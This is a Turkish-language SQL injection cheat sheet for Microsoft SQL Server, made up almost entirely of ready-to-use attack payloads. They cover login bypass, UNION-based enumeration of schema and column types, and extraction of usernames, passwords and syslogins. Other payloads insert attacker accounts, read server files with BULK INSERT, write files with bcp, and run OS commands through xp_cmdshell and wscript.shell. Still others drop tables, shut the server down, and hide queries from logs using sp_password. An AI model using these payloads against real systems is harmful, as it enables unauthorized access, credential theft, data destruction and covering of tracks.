SQL Injection CheatSheet
SQL Injection için kısa referans
TARİH : 2009-04-09
ÖN BİLGİ_________________________________________________________________
Bir çok teknik sadece SQL Server’da çalışacaktır.
Referans___________________________________________________________________
“- -“ SQL cümleciğini sonlandırır( bu sayede arkadan gelen cümlecik handle edilmek zorunda kalmaz)
“ ; “ İkinci SQL cümleciğinin çalışmasına izin verir
Login Screen_______________________________________________________________
I. Login olabilme
a. admin’ –
b. ‘or 1=1—
c. …
II. Farklı bir kullanıcı olarak login olma
a. ‘union select 1, ‘diger_user’ , ‘birseyler_sifre’ , 1—
Hatalardan İlerleme (yapıyı oluşturma)_________________________________________
I. ‘having 1=1 –
II. ‘group by hatadangelen.id having 1=1—
III. ‘group by hatadangelen.id,gelenikinci.id,üçüncü.id having 1=1—
IV. Hata almayı bitirince tablo bitti demektir.
V. Ek olarak order by ile de union da kaç kolon çekildiği bulunabilir
a. ORDER BY 1
b. ORDER BY 2
c. … bu şekilde ilerlenir. Hata verdiği yer – 1 çekilen kolon sayısını gösterir
Data Tiplerini Bulma (yapıyı oluşturma II)______________________________________
I. Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
II. ‘union select sum(tipibulunacakalan) from users—
Microsoft OLE DB provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server] The sum or average
Aggregate operation cannot take a varchar data types as an argument.
III. Hata kodu bize verdiğimiz alanın varchar olduğunu söyledi.
IV. Eğer hata kodu union işlemi ile ilgiliyse ya da hata mesajı gelmiyorsa verdiğimiz akan numeric demektir.
V. Union işlemlerde NULL kullanılabilir date,integer,string’in 3 tipinde de bu geçerli sonuç verecektir
a. 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2—No Error – Syntax is right. MS SQL Server Used. Proceeding.
b. 11223344) UNION SELECT NULL,NULL,NULL WHERE 1=2—No Error – First Column is an integer.
c. 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2—Error! – Second column is not an integer.
d. 11223344) UNION SELECT 1,’2’,3,NULL,NULL WHERE 1=2—No Error – Second column is an string.
e. 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2—Error! – Third column is not an integer. …
VI. Convert ve Errorlar ile field tipi bulma – convert(image,1)
a. SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null,null,NULL, convert(İmage,1),null,null,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL—
b. Mcrosoft OLE DB Provider for SQL Server error ‘80040e07’
c. Explicit conversion from data type int to image is not allowed.
d. You’ll get convert() errors before unıon target errors! So start with convert() then unıon.
Data Ekleme________________________________________________________________
I. ‘; insert into users values(666, ‘attacker’, ‘foobar’, 0xfff)—
Sistem Hakkında Bilgi Toplama________________________________________________
Data convert işlemlerinde SQL Server detaylı hata mesajları döndürür;
I. ‘union select @@version,1,1,1—
SQL Server versiyonunu döndürecektir. ( Numerik alan ile union edilmeye çalışılmalı ! )
Data Alma__________________________________________________________________
I. ‘union slect min(username),1,1,1 from users where username > ‘admin’—
Users tablosundaki username’e integerlara uygulanan min() denediğinden ve string’i de çekmiş olduğundan hata mesajı olarak çekilmiş olan username gelecektir.
II. ‘union select password,1,1,1 FORM users where username = ‘admin’—
Bir önceki işlemde bulduğu username’i direk union ile getiriyor
III. ‘union All select 1,1,1,1 FROM SysObjects where ‘=’
IV. User defined Tables
SELECT name FROM sysobjects WHERE xtype =’U’
V. Field getirme
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘ORDERS’)
VI. Record ilerletme
WHERE users NOT IN (‘First User’, ‘Second User’, ‘Second User’)
VII. Record İlerletme 2
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype =’U’ and i.id <=o.id) AS x, name from sysobjects o WHERE o.xtype =’U’) as p where p.x =21
Advanced Yöntemler_________________________________________________________
T-SQL ile bir tablodaki tüm detayı tek string haline getirip yeni bir temp tabloya insert etmek ve daha sonradan onu almak.
Set @ret =’:’
Select @ret = @ret + ‘’+ username +’’+password from users where username>@ret
Select @ret as ret into foo
End
The attacker ‘logs in’ with this ‘username’(all on one line, obviously…)
I. Usersname: ‘; begin declare @ret varchar (8000) set @ret = ‘:’ select @ret = @ret +’’+ username + ‘/’ + password from users where username > @ret select @ret as ret into foo end—
II. ‘union select ret,1,1,1 from foo—
Convert hatası alacağından dolayı direk az önce insert edilen stringleri getirir.
III. teoriye göre eğer SQL Server Local system account’ı ile çalışıyorsa regread ile SAM account’u okunabilir. Default! (xp_regread)
IV. Linked serverlarda query çalıştırılabilir (openquery)
V. Custom stored procedure’ler ile SQL Server Process’i içerisinden exploit yazıp çalıştırabilir. (sp_addextendedproc)
VI. Bulk Insert ile Serverdaki herhangi bir dosya okunabilir
1. create table foo(line varchar(8000))
2. Bulk insert foo from ‘c:inetpubwwwrootprocess_login.asp’
3. şimdi data bu yeni tablodan okunabilir, sonrada tablo drop edilebilir
VII. Text dosyası yazma (BCP – Login bilgisi gerekli)
Bcp “SELECT * FROM test..foo” queryout
C:inetpubwwwrootruncommand.asp –c –Slocalhost –Usa –Pfoobar
VIII. “sa” olarak login olduk mu?
İf(select user) = ‘sa’ waitfor delay ‘0:0:5’
IX. activeX desteğinden dolayı scripting kullanılabilir(VBS, WSH)
wscript.shell.example
declare @o int
exec sp_oacreate ‘wscript.shell’, @o out
exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’
username: ‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec
sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’—
X. SQL Server’ı konuşturma (maymunluk olsun diye yapılabilir)
XI. Tırnak kullanmadan SQL yazmak
İnsert into users values ( 666,
Char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
Char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)
Veya sadece numerik değerler ile data girilebilir
İnsert into users values (667,123,123,0xffff)
SQL Server integerları otomatik olarak varchara çeviriyor.
XII. Xx.asp?p=xx’; EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’
Özel Tablolar_____________________________________________________________
I. Hata mesajları
Select * from master..sysmessages
II. Linked Serverlar (openquery fonksiyonunu login olmadan kullanılabilir eğer ki sp_addlinkedsrvlogin kullanıldıysa) master..sysservers
III. Şifreler, loginler
Master..syslogins
Tablo / Server Modifikasyon_________________________________________________
I. Tablo silme
‘; drop table foo—
Functions_________________________________________________________________
I. SQL Server’ı kapa (shutdown)
‘; shutdown—
II. Bekletme (waitfor delay)
Bir şeyin pasif/gizli olarak çalışıp çalışmadığını anlamak için
Waitfor delay ‘0:0:10’—
Kullanımı çok verimlidir. Belirtilen süre kadar bekler. Bu sayede çeşitli kontroller yapılabilir yada basitçe harmless bir şekilde eklenen SQL cümleciklerinin gerçekten çalışıp çalışmadığı kontrol edilebilir.
Atak Gizleme_______________________________________________________________
SQL Server sp_password içeren SQL Querylerini güvenlik nedeniyle loglamıyor. Bu durumda her çalıştırılan komut ardından ‘-sp_password demek onun gizlenmesi için yeterli. Bu sayede bir log oluşsa da içeriği oluşmuyor.